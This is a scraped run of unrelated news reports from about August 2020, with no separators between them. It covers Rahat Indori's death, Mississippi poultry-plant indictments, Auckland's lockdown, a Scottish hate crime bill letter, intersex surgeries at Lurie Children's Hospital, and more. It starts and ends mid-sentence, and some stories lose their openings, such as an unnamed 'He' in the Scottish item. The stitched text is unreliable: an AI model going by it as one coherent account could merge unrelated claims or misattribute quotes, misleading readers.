Directorate of the General Staff, also known as GRU, and even gave the Russian hackers advice on how to disseminate it. Renowned poet and lyricist Rahat Indori on Tuesday passed away at Aurobindo Hospital in Indore. After testing positive for Covid-19, Rahat suffered two heart attacks earlier in the day. A day after testing positive for coronavirus, legendary Urdu poet and lyricist Dr Rahat Indori, 70, passed away at Indores Aurobindo Hospital on Tuesday. Chairman of the hospital, Dr Vinod Bhandari said that Indori was hit by two heart attacks earlier in the day and he was also suffering from pneumonia. Bhandari further said Indori was admitted to the hospital on suspicion of coronavirus on Sunday, following which he tested positive for the virus on Monday. The celebrated poet had earlier this morning tweeted to share about his coronavirus diagnosis with his fans and had urged them to pray for his speedy recovery. He was a well-known figure in the genre of Urdu poetry, ghazals and has also penned lyrics for several Bollywood songs. The 70-year-old lyricist has penned the lyrics of several Bollywood songs for movies like Munna Bhai M.B.B.S, Murder and others. He is survived by his wife Seema Rahat and his four children. Also Read: Unfinished: Priyanka Chopras memoir reaches final stage Also Read: Janmashtami 2020: Amitabh Bachchan, Kangana Ranaut and other Bollywood celebrities extend wishes Union Defence Minister Rajnath Singh mourned the demise of Legendary Urdu poet and lyricist Dr Rahat Indori, saying he has left an indelible mark on the hearts of people. Rajnath, in a Hindi translated tweet, said, I am deeply saddened by the demise of popular Urdu poet Rahat Indoriji. He was an ardent personality of Urdu. With his memorable poetry, he has left an indelible mark on the hearts of people. Today the literary world has suffered a great loss. My condolences to his loved ones in this hour of grief, he added. Also Read: Aamir Khan, Kareena Kapoor starrer Laal Singh Chaddha to release on Christmas 2021 [The stream is slated to start at 5:30 p.m. ET. Please refresh the page if you do not see a player above at that time.] President Donald Trump is expected to hold a press briefing on Tuesday as the upcoming coronavirus relief bill remains in limbo. It is likely Trump will also address Joe Biden's selection of Sen. Kamala Harris to be his vice presidential running mate in this fall's election. Talks between the White House and lawmakers have stalled, as they find themselves at odds over enhanced jobless benefits, among other issues. But White House officials and Democratic leaders have indicated that they're open to restarting negotiations. Democrats on Friday suggested that Republicans were not willing to collaborate to come to an agreement on the bill, leading Trump to announce later in the day that he would act on his own through executive orders. Over the weekend Trump signed four executive orders intended to alleviate the economic effects of the pandemic. The orders extend unemployment benefits, provide a payroll tax holiday, defer student loan payments through 2020 and extend the federal protections from evictions. On Monday, Treasury Secretary Steven Mnuchin said the White House wanted to resume talks with Democratic lawmakers and would offer more aid money to reach a compromise. "The president is determined to spend what we need to spend. ... We're prepared to put more money on the table," he told CNBC's "Squawk on the Street." The coronavirus outbreak has spread worldwide, with more than 20.1 million confirmed cases and over 737,000 deaths, according to data compiled by Johns Hopkins University. The U.S. has had more than 5 million cases and at least 163,400 deaths, according to the latest tallies, more than any other country. -- CNBC's Jacob Pramuk contributed to this report. Subscribe to CNBC on YouTube. JACKSON, Miss. Four executives from two Mississippi poultry processing plants have been indicted on federal charges tied to one of the largest workplace immigration raids in the U.S. in the past decade. U.S. Attorney Mike Hurst and the acting director of U.S. Immigration and Customs Enforcement, Matt Albence, announced the indictments as the documents were unsealed Thursday. Their announcement happened a day before the one-year anniversary of the raids in which 680 people were arrested at seven poultry plants in central Mississippi. Hurst and Albence also scolded journalists for reports that focused on the arrests separating children from immigrant parents who were sent to detention centers. If a parent puts their child in that position where they commit a criminal act that subjects them to being arrested and detained that responsibility falls on them, Albence said. None of the four people from the newly unsealed indictments were arrested on the day of the raids, said Hurst, who is the U.S. attorney for south Mississippi. He said they worked as managers, supervisors or human resources employees. Hurst said journalists have failed to focus on the American victims of identity theft people whose Social Security numbers have been falsely used by immigrants working in the U.S. without proper documentation. The simple fact of the matter is, illegal aliens steal jobs of American citizens, Hurst said. And illegal aliens depress the wages of American citizens. Amelia S. McGowan, an attorney who works on behalf of immigrants for the Mississippi Center for Justice, responded later: Trotting out anti-immigrant accusations wont hide that the only theft here is the executives profiteering off vulnerable workers in unsafe conditions and at inadequate wages. Albence said last years raids in Mississippi have brought 126 indictments, 117 criminal arrests and 73 convictions. Hurst said the investigation continues. The chairman of the U.S. House Homeland Security Committee, Democratic Rep. Bennie Thompson of Mississippi, said in a statement Thursday that hes glad the Trump administration, a year later, is bringing criminal charges against employers and plant managers. However, the Administration still has not answered for the cruel and unnecessary family separation inflicted on hundreds of Mississippi families and how it continues to poorly treat immigrants, Thompson said. With hundreds left behind, its clear that working families, rather than the employers taking advantage of these families, are the ones that continue to suffer from the effects of this raid. Two people from the indictments unsealed Thursday Salvador Delgado-Nieves and Iris Villalon worked at A&B Inc., a plant in Pelahatchie. Delgado-Nieves, 57, of Pelahatchie, was charged with harboring people who were in the U.S. illegally and assisting them with falsely presenting themselves as U.S. citizens. He was also charged with helping immigrants obtain false Social Security cards and of making false statements to law enforcement. Conviction would carry up to 74 years in prison and $2.5 million in fines, Hurst said. Villalon, 44, of Ocean Springs, Mississippi, was charged with harboring a person who was in the U.S. illegally and one count of making false statements about hiring immigrants without proper documentation. Conviction would carry up to 20 years in prison and $750,000 in fines, Hurst said. The two others indicted Carolyn Johnson and Aubrey Bart Willis worked for Pearl River Foods LLC in Carthage. A indictment says Johnson, 50, of Kosciusko, Mississippi, was a human resources manager, and Willis, 39, of Flowery Branch, Georgia, was manager of the plant. Johnson was charged with harboring people who were in the U.S. illegally, wire fraud and aggravated identity theft. Conviction on all charges would carry up to 84 years in prison and $2.25 million in fines, Hurst said. Willis was charged with harboring people in the U.S. illegally. Conviction on all charges would carry a maximum of 50 years in prison and $1.25 million in fines, Hurst said. An indictment says both Willis and Johnson harbored immigrants after the plant was raided. Villalon, Johnson and Willis appeared before a magistrate Thursday. Each pleaded not guilty, and each was released. Each declined to comment outside the courtroom. A hearing for Delgado-Nieves was also scheduled for Thursday but was delayed by more than an hour. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. BATON ROUGE, LOUISIANAPelican State Credit Union granted a total of $15,000 to college-bound high school graduates in recognition of their outstanding academic achievements and community service efforts. 2020 makes the 13th year the credit union has been investing in the future leaders of its local communities through its Team Pelican Scholarship Program. Scholarships in the amount of $1,000 were awarded to one member from each of Pelicans 11 branch parishes, as well as one out-of-state member and a relative of a Pelican team member. The credit union also awarded two $1,000 awards designed for students who excelled in areas outside of their scholastic accomplishments. The Heart for Service Award honors a student who displayed first-class service and dedication in their community, and the Pelican Perseverance Award recognizes a student who exemplified strength and determination to overcome lifes challenges. Both awards were given to one well-deserving graduate, who was also the recipient of her parishs award, bringing the total number of scholarship winners to 13. 2020 Team Pelican Scholarship Award Recipients: Brice Arceneaux, Catholic High School of New Iberia Charity Cash, Captain Shreve High School Elisa Castillion, Haynes Academy for Advanced Studies Bryson Colwart, Allatoona High School (Georgia) Madison Hebert, Ascension Christian High School Olivia Hunter, Alexandria Senior High School Gabrielle Mejia, Denham Springs High School Julie Odom, Zachary High School Ella Otken, Denham Springs High School Claire Pitre, Ville Platte High School Patrick Stevens, LaGrange High School Emily Westerberg, Ouachita Parish High School Lakeira Williams, East Feliciana High School A volunteer committee made up of Pelican team members carefully reviewed applications from the 90 high school students that took the time to apply. The average ACT score for all applicants was 22, and the winners that were selected worked over 1,000 combined community service hours. Award recipients are encouraged to use their scholarship to cover tuition, textbooks, meal and housing plans, and more. As we conclude year 13 of this terrific program, we cannot express enough how proud we are to continue to help the young minds of tomorrow. Giving back is and always will be the foundation on which Pelican was built, and the Team Pelican Scholarship Award Program and its recipients are a true representation of that, explained Pelican CEO Jeffrey K. Conrad. Founded in 2008, Pelicans Scholarship Award Program is one of the many reasons why it pays to be a member of Pelican. Team Pelican youth savings account holders benefit from not only scholarship award eligibility, but also monetary rewards for good grades on their report cards each semester. Scholarship applications are accepted starting in January of each year. For more information about eligibility and the application process, call 1-800-351-4877 or visit pelicanstatecu.com/scholarship. As September approaches, education officials across Canada are struggling to find the best ways to open our public schools this fall. Its an incredibly difficult task to figure out what will be safe, as no one is 100 per cent sure what will happen next in the worldwide COVID-19 pandemic. One thing is certain, though students and teachers will be better off if they get outside more during school time. Outdoor education is an idea whose time has come. Its a simple idea. Education ministries, school boards and individual schools should all focus on offering more school time, content and activity outside, using the outdoors more to teach and learn. Outdoor learning not only brings obvious health and safety benefits physical distancing is easier outside it also offers new opportunities to improve education for the 21st century. Research bears this out. A recent report by the Children and Nature Network, part of a global educational movement with participants in 60 countries, documents how getting students outside more enhances learning and academic performance and is good for physical and emotional well-being. The report found that more outdoor learning contributes to lower rates of diabetes, heart disease and other chronic diseases, reduces anxiety and depression and engages students in their schoolwork. Among other findings, the network reports that 88 per cent of children it studied are more engaged in schoolwork if they get outside more and 68 per cent are better able to concentrate. The network also found that 65 per cent of students are better behaved when they enjoy more outdoor education. Parents who have encouraged their kids to play outside after being cooped up during the pandemic will understand this; think of the potential when learning is added to the joy of getting some fresh air and sunshine. Its true that in Canada there are some limits to outdoor education the long days and warm weather will give way to dark winter skies, ice and snow. But thats where creativity will be key. Even if it means bundling up, more time spent educating students in the outdoors can still be a part of the curriculum in every school across Canada. A study done by educators in Scotland, where the weather can also be grim, notes that, there are not many things you cant teach outdoors, you just have to think creatively. Indeed, creative thinking is the key for teachers, principals and administrators to make the most of this unprecedented opportunity to use the outdoors more often and longer during school time. In fact, there is already a large body of practical curriculum guidelines and planning templates prepared by teachers and academic experts in Canada and internationally. Our organization, Learning for a Sustainable Future (LSF) is a national charity that has been working for nearly 30 years to help integrate sustainability education into school systems across Canada. We provide all kinds of free resources that support learning outside. For example, LSF created the series Learning Inside Out to support parents and teachers during COVID-19, with a special emphasis on outdoor activities. In addition, we have a comprehensive Resources for Rethinking (R4R) database of free, readily available lesson plans and resource documents its growing all the time with content vetted by experienced teachers and connected to provincial and territorial curriculum outcomes across Canada. Teachers can also get help from Connecting the Dots, a guide available online and in print that offers strategies and ideas they can incorporate into their lesson plans for environmental, citizenship and sustainability learning. We also offer training to help teachers take their students outdoors. Post-secondary courses are also available in universities and colleges mostly online right now for teachers who seek practical ideas making the most out of the coming school year by getting their students outside more during school time. Obviously, learning outdoors is ideal for environmental and sustainability education. But in these new, uncharted pandemic times, theres lots of opportunity for students to learn all kinds of other subjects outside, at any age. Sometimes its just a matter of taking a lesson that was taught previously indoors and taking the class outside. At other times, outdoor education makes use of the surroundings looking at plants and wildlife, walking through a neighbourhood and understanding its history, learning about Indigenous people and their relationship to the land where a school or a new community now stands. The COVID-19 crisis has been shocking and brutal for students, teachers and families who have seen their school routines interrupted, proms and grad ceremonies cancelled and the protocols for the coming school year still up in the air in many places. Students, parents, teachers, administrators and governments will all continue to grapple with details about whats safest and best for the coming year. But one thing is certain its better to get outside. Pamela Schwartzberg is president and CEO of Learning for a Sustainable Future. Source: Xinhua| 2020-08-12 00:08:14|Editor: huaxia Video Player Close ADDIS ABABA, Aug. 11 (Xinhua) -- Ethiopia's confirmed COVID-19 cases reached 24,175 after 584 new COVID-19 positive cases were confirmed on Tuesday, the Ethiopian Ministry of Health said. The Ethiopian Ministry of Health in a statement issued on Tuesday revealed that from a total of 11,881 medical tests that were conducted within the last 24 hours, 584 of them tested positive for COVID-19, eventually bringing the total number of positive cases to 24,175. The ministry also disclosed that twenty patients succumbed to illnesses related to the COVID-19 pandemic on Tuesday, bringing the total number of COVID-19 related deaths in the East African country to 440. According to the Ethiopian Ministry of Health, the number of recoveries is also increasing as some 10,696 patients who tested positive for COVID-19 had so far recovered, including 285 in the last 24 hours period. The ministry also noted that a total of 13,037 COVID-19 patients are still undergoing medical treatment, out of which 190 are in severe health condition. Amid Ethiopia's rapid COVID-19 infection rate in recent weeks, Ethiopia is intensifying its mass COVID-19 testing campaign. As the East African country strengthened the fight against the COVID-19 pandemic, Chinese engagement has injected much-needed momentum in Ethiopia's anti-pandemic efforts. On Monday, the Chinese technology and social media giant, ByteDance, donated 100,000 COVID-19 testing kits in support of Ethiopia's anti-COVID-19 pandemic efforts. ByteDance, founded in 2012, is owner of the popular video sharing application Tik Tok which has hundreds of millions of users around the world. Enditem Share this article Whatsapp Facebook Twitter Linkedin Clara Lalanne (Agence France-Presse) Hures-la-Parade, France Tue, August 11, 2020 10:08 526 6657ac82168da9fa101c8a4066d03a03 2 Lifestyle party,France Free An illegal outdoor rave party that drew thousands to a remote mountain plateau in defiance of coronavirus social distancing rules has sparked fury in France's least populated region. Police in the Lozere region blocked off an area in the Cevennes national park where up to 10,000 people, including small children, attended the unsanctioned rave at the weekend, local authorities said. After an initial strict lockdown by the security forces, partygoers were gradually allowed to leave and by Monday afternoon, some 4,500 people were still present at the remote site, Lozere's top local official, prefect Valerie Hatsch, said in a statement. Police had been guarding the secluded site in a protected area of the national park, preventing vehicles from leaving "for health reasons linked to the risk of spreading COVID-19," local authorities earlier told AFP. Some 10,000 people in hundreds of cars had streamed to the site from around midnight on Saturday for a rave party that flouted a ban on gatherings of more than 5,000 people imposed due to the coronavirus outbreak. Police blocked off the area on Sunday morning to prevent new partygoers joining. By Monday, they were checking the blood alcohol levels of those leaving and staggering departures to prevent traffic blockages at the height of the holiday season. Many people were still so inebriated that they were unable to drive anyway from the site on the Causse Mejean plateau, officials said. An AFP photographer saw dozens of cars, caravans and camper vans parked across the plateau, which usually is just barren wilderness. Read also: French cinema owner smashes Mulan poster after Disney decides not to screen it in cinemas 'Flouting all the rules' Lozere, France's least populated department, has been spared the worst of the COVID-19 pandemic, which has so far claimed more than 30,000 lives nationwide. Locals were furious about the risks posed by the event. Authorities said the revelers did not wear masks and ignored social distancing rules. "People from Lozere take COVID very seriously, they have respected the distancing measures and this massive influx of people who flout all the rules has shocked them profoundly," Hatsch said on Sunday. Farmers were also angry that the partygoers invaded pasture and fields, damaging them in a national park where the farmers themselves operate under restrictions. Police handed out fines for public drunkenness and drug use and more testing facilities were being set up for sobriety and for the coronavirus, the prefecture said. Investigations were in progress to determine the identity of the organizers, who would be the subject of legal proceedings. There were several young children among the party-goers, and a mobile clinic and Red Cross personnel were sent in to ensure everyone's safety. With France in the grip of a heat wave, authorities handed out water and distributed face masks and sanitizing hand gel. There has been increasing concern in France about illegal outdoor parties during a hot summer season with coronavirus cases on the rise, especially among people in their 20s. A seaside DJ set organised by the Mediterranean city of Nice last month also prompted health fears. Topics : party France New Zealand announced on Tuesday it was shutting down its largest city, Auckland, after four new cases of COVID-19 were discovered in the city, the first evidence of domestic transmission after being coronavirus-free for 102 days. New Zealands successful fight against COVID-19 was hailed globally and the Pacific island nation of 5 million was seen as one of the safest places, as the pandemic raged globally. Director General of Health Ashley Bloomfield said the four cases were within one family in South Auckland. One person is in their 50s. They had no history of international travel. Family members have been tested and contact tracing is under way. News of the cases sent panic across the country with media reporting people rushing to supermarkets to stock up, and businesses preparing to shut. Prime Minister Jacinda Ardern said Auckland would move to level 3 restriction from noon on Wednesday as a precautionary approach", which would mean people should stay away from work and school, and gatherings or more than 10 people would again be restricted. The restriction would be applied for three days until Friday, which she said would be enough time to assess the situation, gather information and make sure there was widespread contact tracing. This is something we have prepared for," Ardern said in a surprise news conference, adding that the increased caution was as the source of the virus was unknown. We have had a 102 days and it was easy to feel New Zealand was out of the woods. No country has gone as far as we did without having a resurgence. And because we were the only ones, we had to plan. And we have planned," she said. New Zealand is set to vote in a national election on Sept. 19, in which Ardern is seen to winning comfortably, according to opinion polls, on the back of her handling of the pandemic. But the return of the virus could backfire on the government. Ardern said she has not given any consideration to the impact of the new restrictions on the polls at this stage. This will come as a shock to all New Zealanders who believed what we had been told that we had got on top of this virus," the main opposition National Party leader Judith Collins said in a statement. Parliament is scheduled to be dissolved on Wednesday to make way for the election. REMAIN CALM" Auckland Mayor Phil Goff said: I am urging Aucklanders to come together like we did last time to stamp out community transmission. Please remain calm, please do not panic buy and please follow the lockdown rules." Ardern said travel into Auckland, on the North Island, would be restricted unless you lived there. She said the rest of New Zealand would enter alert level 2 from midday on Wednesday for three days. This would mean social distancing measures would be applied again and mass gatherings would be limited to 100 people. New Zealand was placed under a tight lockdown for weeks after reported its first known case on Feb. 26 and the last case of community transmission was detected on May 1. It marked 100 days without a domestic transmission of the coronavirus on Sunday, but warned against complacency as countries like Vietnam and Australia which once had the virus under control now battle a resurgence. Bloomfield said the unknown nature of the new cases meant it was likely there would be more positive case in the coming days. He said people should use masks in places where it was hard to physically distance. The case is a wake up call for any complacency that may have set in," Bloomfield said. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Human trials to be held at Spallanzani hospital in Rome. More than 3,000 people have volunteered to take part in human trials for an Italian-developed coronavirus vaccine, reports news agency ANSA. This was announced on 10 August by Francesco Vaia, the health director of Rome's Lazzaro Spallanzani hospital, a specialist centre for infectious diseases which has played a central role in battling Italy's covid-19 crisis. The Rome hospital is set to begin testing the vaccine on 90 people from 24 August. Vaia told ANSA that the response to the appeal for volunteers showed the "great heart of the Italian people." The news came the same day that Italy registered 259 new covid-19 infections over the last 24 hours, down from the 463 new cases reported the previous day, according to figures released by the Italian health ministry. He is joined by authors Christopher Brookmyre and Val McDermid, actress Elaine C Smith and playwright Alan Bissett in raising fears about freedom of expression potentially being stifled. The Bill has already faced criticism from the Scottish Police Federation, Catholic Church in Scotland and the Law Society of Scotland. Legal body the Faculty of Advocates has also raised concerns over unintended consequences for freedom of speech contained within the draft of the Hate Crime and Public Order (Scotland) Bill. The draft legislation updates the list of characteristics protected under hate crimes and proposes the addition of age to this list. If passed by the Scottish Parliament, the Bill would also provide for new stirring up of hatred offences that would apply to all characteristics. These offences currently only apply to racial hatred. The right to critique ideas, philosophical, religious and other, must be protected to allow an artistic and democratic society to flourish Advertisement The letter, signed by Atkinson and co-ordinated by the Humanist Society Scotland, highlights concerns over the Bills proposal to not require proof of intent over proposed stirring-up offences. It says: We represent a diverse group of individuals and organisations concerned about the impact on freedom of expression of the proposed Hate Crime and Public Order Bill as currently drafted. We welcome the provisions to consolidate existing aggravated hate crimes and the repeal of the blasphemy law. However, the Bill creates stirring up offences without any intent being examined; merely that the words, action, or artwork might do so. This offence could even be applied to being in possession of materials produced by someone else, where sharing the material could stir up hatred. It adds: The unintended consequences of this well meaning Bill risk stifling freedom of expression and the ability to articulate or criticise religious and other beliefs. As currently worded, the Bill could frustrate rational debate and discussion, which has a fundamental role in society including in artistic endeavour. The arts play a key part in shaping Scotlands identity, in addition to being a significant economic contributor. The right to critique ideas, philosophical, religious and other, must be protected to allow an artistic and democratic society to flourish. Fraser Sutherland, chief executive of the Humanist Society Scotland, said: The Bill as proposed has behind it some sound intentions, however it is clear from the broad support to our joint letter that concerns remain about poorly drafted provisions. The failure of the Bill to require intent to be proven in court on some offences risks a significant chilling effect on free expression. This is why the UN Rabat Plan has six tests on controlling hate speech including that any laws must ensure intent is proven. This strikes a sensible balance between protecting individuals from hate crime and protecting freedom of expression and the Bill needs amending to properly achieve this. Scotlands Justice Secretary Humza Yousaf responded to the letter on Twitter, saying: This letter from various artists will be given serious consideration. Their key concern seems to be that stirring up offences should be restricted to intent only. It is an area of Bill I will reflect further on. Vital we listen to the many voices of groups targeted by hate. Dr Matthew Opoku Prempeh, the Minister for Education, has reiterated that the minimum qualification for teaching at any of the Basic Schools in Ghana is now First Degree. He registered the concern of the Government of Ghana that the early years of a child's education were extremely significant to their future development, and the Government was embarking on teacher training reforms. We have in our focus on teacher reforms taken the necessary steps to upgrade all our Colleges of Education to university colleges to award Bachelor of Education (B.Ed), degrees, following a review of the teacher education curriculum into standards based curriculum, the Minister told Parliament, in Accra. In a statement on Education and Teacher Reforms presented to the House on Tuesday, the Minister said implementation of the new teacher education curriculum began in October 2018, with each College of Education affiliated to one of the public universities of Ghana. Dr Opoku Prempeh said the Ministry of Education was working in collaboration and support of the Transforming Teacher Education and Learning (T-TEL) to upgrade capacity and improve the quality of teacher education to position teachers to be able to respond to current and future challenges in education. T-TEL is a Government of Ghana programme funded by DFID. T-TEL is a six-year programme, which aims at ensuring Ghana's teaching graduates are equipped to deliver high-quality, inspirational teaching and learning in schools. The Minister announced the setting up, since 2018, the National Teaching Council, which is charged with the responsibility for setting professional standards, registering, and licensing teachers. Dr Prempeh announced that the Government was introducing a Professional Teacher Allowance of GH1,200.00 per year for professional teachers and GH600.00 for non-professional teachers. This will enable teachers to invest in improving and upgrading their skills and keeping abreast with modern trends to assist improving learning outcomes, the Minister said. GNA Shantel Amos, the sister of a missing Sudbury woman whose abandoned car was discovered in a gravel pit north of the city, is pleading with the public to assist the OPPs ongoing investigation. Please come forward if you have any information about my little sister. I love her, and I need her back safe. Her babies need their mother, she said. Constance (Connie) Richards, 26, was last seen on the afternoon of Aug. 4 when witnesses told reported to police they saw her driving erratically near Fox Lake Lodge, according to West Nipissing OPP, but police were unable to locate her at the time. On Aug. 8, police officers received a call at around 11:45 a.m. about an abandoned car parked off Fox Lake Road in Ermatinger Township, 10 km southwest of Cartier. It was determined that Richards was the owner of a vehicle, and the OPP brought in helicopters and a canine unit to begin searching the area where the vehicle was found. Constance was calling her eldest son, who was staying at his grandmothers house, every day (in the days leading up to the disappearance). On Aug. 5, his grandmother reached out to me and asked if I had heard from her, and I said no, said Amos. She was calling her son every day, and then suddenly, nothing. A couple days later, his grandmother called me back and told me to stay calm, but they had found her vehicle abandoned with a purse still in it. At the time, they didnt know if it was her purse or not. Amos her and her family had been concerned about Richards behaviour for a little while now. I knew that she had been acting strange. She had messaged me a few times saying some things that were out of character for her. I know that she was recently in a toxic relationship that she got out of not too long ago, said Amos. But when I spoke to her last, about three or four weeks ago, she told me that she was doing a lot better. She was going to church and stuff, and I told her how proud I was of her and I thought that everything was fine. Amos said that every second feels like hours not knowing where her sister is, and she hopes that the mother of three will be found safe and healthy. Members of the Nipissing West OPP, with the assistance of the OPP Canine Unit, the OPP Emergency Response Team, and the OPP Aviation Services-Helicopter section, are continuing to search the area where the vehicle was found. There are crews still on the ground, but so far they havent been able to identify any clues as to the missing persons whereabouts. The area they are searching right now has some pretty dense woods, said OPP Cons. Michelle Coulombe on Monday. Police are concerned for this womans well-being and are requesting the publics assistance to help locate this individual. Richards is described as white, five-foot-four (163 cm.), 120 pounds (54.4 kg), with a thin build, long brown hair, and brown eyes. She has the following tattoos: right wrist: KR; left forearm: JUPITER; left wrist: AR; and right arm: ANTHONY If anyone has any information, contact the OPP at 1-888-310-1122. Should you wish to remain anonymous, you may call Crime Stoppers at 1-800-222-8477 (TIPS) or submit information online at www.p3tips.com where you may be eligible to receive a cash reward of up to $2,000. This story was published in partnership with The 19th, a nonprofit, nonpartisan newsroom reporting on gender, politics and policy. Eugene Robinson recovered from his double mastectomy on a hospital porch in Durham, North Carolina. It was August 1956, and as a Black child in the Jim Crow South, Robinson wasnt allowed to heal next to White patients. Sarah Robinson, Eugenes mother, brought a daughter to the hospital. She returned home with a son. It was his third of four surgeries. Two of his nine siblings had undergone similar operations, but his relatives never talked about the fact that androgen insensitivity syndrome, a genetic intersex condition, ran in the family. Nearly 65 years later, Sean Saifa Wall, 41, sifts through Robinsons medical records, looking for answers about his uncles story that might shed light on his own. Wall, like Robinson, is intersex. Intersex is an umbrella term for people with variations in sex characteristics that dont fit neatly in the binary of male or female. Some intersex people are born with varying reproductive anatomy or sex traits some develop them later in life. About 1.7 percent of people are born intersex, according to a 2000 report by Dr. Anne Fausto-Sterling. Since the 1960s, medical convention has been that intersex variations should be corrected, often through a combination of painful surgeries and hormone therapy starting from infancy or before a child can consent. But on July 28, the Ann and Robert H. Lurie Childrens Hospital of Chicago became the first hospital in the United States to suspend the operations. The news comes after a three-year campaign against the hospital led by Wall and Pidgeon Pagonis, co-founders of the Intersex Justice Project. Activists have been protesting intersex surgeries since 1996, when a group demonstrated outside the American Academy of Pediatrics convention in Boston. Since then, the U.N. has condemned the surgeries, which remain legal in almost every country in the world, as irreversible and unnecessary procedures that can cause permanent infertility and lifelong pain, incontinence, loss of sexual sensation, and mental suffering. Story continues Wall knows that pain intimately. Wall came out as gay at age 14. Then, he came out as transgender. In both cases, his mom lost it, he said. She was like, Why do you want to wear mens clothes, mens underwear? But Walls oldest aunt reminded his mom about his intersex uncle, now deceased. His aunt said, Do you not remember playing with Queen Esther as a child? And my mom was like, Whos that? And shes like, 'Thats Gene. Wall says the memory blew my moms mind for seven years she had a sister. Looking back, she did remember Esther. Eight of his family members were intersex, Wall says. The more that Wall started to talk about himself, the more his family opened up about their own histories. Up until the time he was 13, Walls mom resisted doctors insistence that he have surgery to remove undescended testes, he says. She saw his older intersex siblings suffer through their own operations and thought they were unnecessary. They told my mom that the testes were cancerous, Wall said. So his mom agreed to the surgery. Wall never had cancer. He had spent two years under the care of a doctor that he says studied him, asking him questions about whether or not hormones made him less gay. Still, it wasnt until college, while doing a Yahoo internet search, that Wall pieced together that he is intersex. I was so angry, he said. I was like, Oh, this is not fair. Its not right.' I didnt talk about it for a while. I would tell people here and there, but I didnt talk about it publicly because I had so much shame. When he was 25, he started taking testosterone, something he wanted to do as a trans person to confirm his gender. But he wasnt metabolizing the testosterone the way most people on the hormone do. I think I felt really suicidal, he said, referring to people constantly misgendering him. But I knew that if I took my own life, that no one would ever know what happened to me, and no one would ever know my side of the story. Thats when Wall decided to start organizing for intersex rights. For 19 years, Lurie patient Pidgeon Pagonis also believed they had survived ovarian cancer. The surgeries and exams started before Pagonis could remember, at 6 months old. They had another operation when they were 3 or 4 years old, and another when they were 10. Since I was like 11 they would always just lift my shirt off, touch my chest and then pull my pants down and look at my vulva area, Pagonis recalls. And then theyd ask me questions like, How are you? How are your grades? Pagonis thought that because of the cancer, they would never be able to have a baby. In truth, Pagonis never had cancer. Years of intersex surgeries to make their body conform to the idea of the female sex had left them unable to feel most sexual sensation. They spent 18 years in and out of Lurie for surgeries, hormones and exams. Doctors would ask Pagonis if they had questions. Pagonis wanted to know why they were experiencing puberty differently than other kids. I didnt know I had a vaginoplasty, and I didnt know I was intersex, Pagonis said. I did not know I had a castration, and I did not know I had a clitorectomy at that point. I thought I survived cancer. Pagonis attended college practically in the shadow of the hospital at DePaul University, watching doctors come and go as they studied for finals. It wasnt until they learned about intersex issues at DePaul that they realized that all those visits to Lurie hadnt been about cancer at all. I just thought these were my doctors that I had to go to because I had cancer when I was a kid, Pagonis said. And also, I was so unlucky that I had this urethra problem. No other major U.S. hospital has ever stated that they dont perform intersex surgeries, so Lurie was far from the only institution performing such procedures. However, Lurie has enjoyed a sterling reputation among LGBTQ+ people since 2013, when it opened one of the first pediatric gender clinics in the nation under the leadership of Dr. Robert Garofalo, a nationally renowned expert in transgender health. Under Garofalos leadership in the Gender & Sex Development Program, Lurie became the first hospital in the United States to adopt a trans-inclusive policy for its young patients. That prestige made Lurie a prime target for a campaign to end intersex surgeries. Intersex activists have long pointed to a disconnect between the gender-affirming care for trans and non-binary youth at the hospital and surgeries done on intersex children without their knowledge or consent. The truth of the matter is they are very distinct and separate populations in many ways, said Garofalo. But there are areas where there are some overlaps. And those cast a pall on the gender clinic as calls to end the surgeries overwhelmed its social media channels. The Intersex Justice Project Pagonis and Walls organization of intersex activists of color led its first protests against Lurie in 2017 and again in 2018, when the Androgen Insensitivity Syndrome-Differences of Sex Development Support Group held its conference in Chicago. About 70 people showed up to protest outside Lurie. Since that time, Lurie has been the target of a relentless campaign to end the surgeries, and protests outside the hospital have only grown. In July, Pose star Indya Moore excoriated the hospital for using their image to promote LGBTQ+ inclusion. You cannot stand W/ trans ppl & step ON intersex ppl! Moore wrote on Twitter. The tweet set off a firestorm of bad press for the hospital as an old petition against the surgeries at Lurie racked up 45,000 signatures. Garofalo said the hospital has long been revising its polices on intersex care, but it had never apologized for the harm those surgeries had caused. I mean, the truth of the matter is that it has been uncomfortable for me at times, conceded Garofalo, who does not oversee intersex care at the hospital. On July 28, the same day the hospital announced it was suspending the surgeries, the hospital apologized. We empathize with intersex individuals who were harmed by the treatment that they received according to the historic standard of care, and we apologize and are truly sorry, the hospital stated in a letter signed by President and CEO Dr. Thomas Shanley. When it comes to surgery, we are committed to reexamining our approach. Intersex is an umbrella term for people with variations in sex characteristics that dont fit neatly in the binary of male or female. About 1.7 percent of people are born intersex, according to a 2000 report by Dr. Anne Fausto-Sterling. A number of staffers within Lurie pushed for an end to the surgeries, most notably transgender research coordinator Dr. Ellie Kim, who publicly criticized the practice. I really owe Ellie a debt of gratitude for really stepping forward and not being shy about her thoughts on the matter, Garofalo said. And to that extent, Im really proud to be where Im at. Luries end to intersex surgeries marks a watershed moment for intersex rights. Lurie is ranked among the top pediatric hospitals in the nation, and intersex rights activists hope that other hospitals follow suit. But for advocates like Wall, the campaign has also taken a deep toll. Pagonis and Wall garnered support and educated the public by sharing intimate personal stories. Its largely considered disrespectful for reporters to ask transgender people about their surgeries or genitalia. Intersex activists dont have that luxury yet, says Hans Lindahl, director of communications for youth intersex organization InterAct. Something that we say a lot is that we have not yet had our Laverne Cox moment, said Lindahl. Were still so under the purview of being medicalized that I think theres a pressure that we almost have to tell these stories at this point in our movement in order to get people to listen. For Pagonis and Wall, that has meant revealing details about their own traumas, sexual experiences, anatomy and family histories. And largely lost in this moment is the history of intersex surgery itself. Intersex operations were born out of gynecology, a practice developed by James Marion Sims, who performed brutal experiments on enslaved Black women without anesthesia. Although intersex surgeries were popularized in the 1960s, doctors had been doing them for years before, as Walls family history shows. Wall says his family was already harassed as a Black family in the segregated South. But a Black family with three kids whose sex characteristics varied meant they were tormented endlessly. So for me, my intersex story comes out of this legacy thats rooted in the South, thats rooted in North Carolina, Wall said. By the time this intersex variation appeared in my family, there was knowledge and awareness of it, but people didnt talk about it, because there was shame and stigma and secrecy. This article originally appeared on USA TODAY: Activists against intersex surgeries mark key win, personal toll President Donald Trump took his strongest action yet against Chinese government forces looking to stifle freedom in Hong Kong, instituting dedicated sanctions against Hong Kong's chief executive, Carrie Lam, and at least ten other officials over their decision to follow China's lead and press strict, anti-free speech controls on Hong Kong citizens. The Chinese government, last month, passed a series of laws "reclaiming" Hong Kong and implementing a 